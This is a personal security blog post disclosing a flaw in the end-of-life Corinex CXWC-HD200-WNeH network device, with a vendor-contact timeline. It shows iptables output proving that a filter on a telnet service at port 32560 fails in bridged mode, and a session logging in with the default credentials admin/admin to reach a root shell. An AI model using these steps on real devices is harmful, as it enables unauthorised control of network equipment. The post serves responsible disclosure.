I found a vulnerability in the Corinex CXWC-HD200-WNeH and I tried to report it / 2022-10-31

Somewhere between the digging in the Corinex CXWC-HD200-WNeH I found a vulnerability. A combination of a misconfigured network filter and a default account make it quite easy to get into the device and get full access.

I tried to report this vulnerability before publishing about it. Timeline:

• 24 September 2022 I mailed a general address at Corinex about this
• 29 September 2022 I mailed someone who wrote about Corinex devices in the Netherlands
• 28 October 2022 I tried to contact @CorinexCorp on twitter via a mention

All this got exactly zero response.

Update 2022-11-17: @CorinexCorp responded on twitter: Hi Koos. Apologies for a lack of response. Corinex no longer supports CXWC-HD200-WNeH devices. The company exited the consumer market many years ago.

Because this device is out-of-support for years now and should not be in use anywhere anymore, I think I've invested enough effort in trying to report this vulnerability to the right people and I can now publish this and close this chapter.

On to the actual vulnerability. Like a lot of other vulnerabilities this is a case of multiple things coming together.

The misconfigured network filter

The CXWC-HD200-WNeH is running a telnet server on port 32560. Attempts have been made to filter this telnet server so it can't be reached, as this port isn't allowed per the DEFAULT_INP filter, referenced from the standard INPUT filter. But since there is no DROP/REJECT rule or policy for this traffic this failes. Maybe the filtering on traffic not via the bridge should be doing this, but in bridged mode this isn't working.

# iptables -L INPUT -n -v
Chain INPUT (policy ACCEPT 19 packets, 9912 bytes)
 pkts bytes target     prot opt in     out     source               destination         
 3414  280K            all  --  *      *       0.0.0.0/0            0.0.0.0/0           
 3414  280K            all  --  *      *       0.0.0.0/0            0.0.0.0/0           
 3414  280K ISAP_INP   all  --  *      *       0.0.0.0/0            0.0.0.0/0           
 3414  280K DEFAULT_INP  all  --  *      *       0.0.0.0/0            0.0.0.0/0           

# iptables -L ISAP_INP -n -v
Chain ISAP_INP (1 references)
 pkts bytes target     prot opt in     out     source               destination         
    0     0 ACCEPT     udp  --  *      *       0.0.0.0/0            0.0.0.0/0           udp dpt:161
    0     0 ACCEPT     2    --  *      *       0.0.0.0/0            0.0.0.0/0           
# iptables -L DEFAULT_INP -n -v
Chain DEFAULT_INP (1 references)
 pkts bytes target     prot opt in     out     source               destination         
 3284  260K ACCEPT     all  --  *      *       0.0.0.0/0            0.0.0.0/0           state RELATED,ESTABLISHED
  223 13380 ACCEPT     tcp  --  *      *       0.0.0.0/0            0.0.0.0/0           tcp dpt:80 
   36  4320 ACCEPT     icmp --  *      *       0.0.0.0/0            0.0.0.0/0           
    0     0 DROP       all  --  !br0   *       0.0.0.0/0            0.0.0.0/0           

The default account

One of the things I type when confronted with a login prompt on a device under test is username 'admin' and password 'admin'. This works on this device.

$ telnet 10.10.1.253 32560
Trying 10.10.1.253...
Connected to 10.10.1.253.
Escape character is '^]'.

login: admin
Password: 



BusyBox v1.12.1 (2012-08-22 10:19:32 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# 

Conclusion

These two things together cause a vulnerable situation: in a holiday park you don't want the visitors to get full access to the configuration of the network router.